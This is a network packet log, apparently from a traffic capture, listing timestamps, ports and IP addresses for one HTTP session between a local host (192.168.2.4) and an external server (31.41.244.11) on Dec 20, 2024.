Dec 20, 2024 09:12:50.168813944 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.168865919 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.168947935 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.168996096 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.171093941 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.171148062 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.171189070 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.171212912 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.173290014 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.173352003 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.173448086 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.173501015 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.175566912 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.175678015 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.175730944 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.177747011 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.177797079 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.177862883 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.177907944 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.179997921 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.180099010 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.180150032 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.182226896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.182296038 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.182354927 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.182410002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.184489012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.184557915 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.184613943 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.184720039 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.186723948 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.186779976 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.186829090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.186903000 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.188971043 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.189045906 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.189054012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.189097881 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.191158056 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.191205978 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.191272974 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.191329002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.193407059 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.193463087 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.193545103 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.193591118 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.195611000 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.195710897 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.195724010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.195759058 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.266732931 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.266794920 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.266812086 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.266861916 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.267523050 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.267575026 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.267663002 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.267787933 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.269179106 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.269241095 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.269356966 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.269444942 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.270832062 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.270884991 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.270947933 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.270994902 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.272522926 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.272582054 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.272690058 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.272758007 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.274194956 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.274243116 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.274308920 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.274353981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.275841951 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.275902987 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.275976896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.276042938 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.277401924 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.277515888 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.277527094 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.277569056 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.279056072 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.279109001 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.279172897 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.279221058 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.280576944 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.280632973 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.280706882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.280757904 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.282150984 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.282227993 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.282284021 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.282351017 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.283720016 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.283782005 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.283828974 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.283875942 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.285231113 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.285294056 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.285388947 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.285439014 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.286751032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.286814928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.286866903 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.286920071 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.288311958 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.288412094 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.288470984 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.289779902 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.289843082 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.289848089 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.289885998 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.291234016 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.291285038 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.291286945 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.291413069 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.292714119 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.292772055 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.292809963 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.292866945 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.294157982 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.294282913 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.294322968 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.295600891 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.295655966 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.295711040 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.295764923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.297066927 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.297122955 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.297177076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.297226906 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.298506975 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.298568010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.298655033 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.298705101 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.299968004 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.300086975 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.300096035 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.300131083 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.301367998 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.301419020 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.301497936 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.301553011 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.302671909 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.302722931 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.302772045 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.302817106 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.304172993 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.304289103 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.304291964 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.304332972 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.305499077 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.305555105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.305622101 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.305669069 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.306857109 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.306916952 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.307003975 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.307173014 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.308226109 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.308299065 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.308312893 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.308357954 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.309577942 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.309636116 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.309710026 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.309886932 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.310909033 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.310975075 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.311036110 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.311090946 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.312267065 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.312416077 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.312452078 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.312494040 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.313580036 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.313653946 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.313708067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.313760042 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.314955950 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.314994097 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.315010071 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.315041065 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.316274881 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.316353083 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.316430092 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.316482067 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.317600012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.317650080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.317675114 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.317737103 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.318892956 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.318969965 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.319022894 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.320199013 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.320305109 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.320363998 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.321491003 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.321542978 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.321542978 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.321604013 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.322866917 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.322911024 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.322920084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.322963953 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.324107885 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.324162960 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.324213028 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.324259996 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.325447083 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.325601101 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.325651884 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.326709032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.326764107 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.326842070 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.326894999 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.328037977 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.328093052 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.328156948 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.328202009 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.329356909 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.329408884 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.329466105 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.329513073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.330626965 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.330729008 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.330750942 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.330780983 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.331950903 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.332003117 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.332075119 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.332186937 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.333252907 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.333314896 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.333363056 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.333421946 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.334532976 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.334584951 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.334675074 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.334737062 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.335832119 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.335881948 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.335946083 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.335994959 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.337167025 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.337276936 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.337336063 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.338440895 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.338536978 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.338553905 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.338607073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.339831114 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.339865923 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.339884996 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.339910984 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.340987921 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.341052055 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.458868980 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.458906889 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.458930016 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.458961010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.459258080 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.459327936 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.459342003 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.459395885 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.460226059 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.460298061 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.460376978 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.460520983 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.461203098 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.461252928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.461318016 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.461551905 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.462146044 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.462306976 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.462367058 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.463085890 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.463145971 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.463212013 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.463299036 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.464066029 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.464123011 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.464171886 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.464524031 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.465022087 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.465136051 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.465192080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.466001987 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.466067076 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.466161013 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.466208935 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.466922045 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.466990948 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.467053890 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.467097998 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.467869043 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.467945099 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.467979908 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.468060970 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.468837976 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.468940973 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.468986988 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.469783068 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.469839096 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.469918966 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.469978094 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.470760107 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.470805883 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.470896959 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.470985889 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.471698999 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.471748114 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.471787930 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.471834898 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.472620964 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.472727060 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.472737074 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.472771883 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.473567009 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.473612070 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.473690033 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.473804951 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.474522114 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.474561930 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.474627972 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.474670887 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.475481033 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.475524902 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.475589991 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.475699902 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.476398945 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.476448059 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.476527929 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.476768970 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.477451086 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.477611065 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.477628946 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.477653980 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.478331089 CET	80	49874	31.41.244.11	192.168.2.4
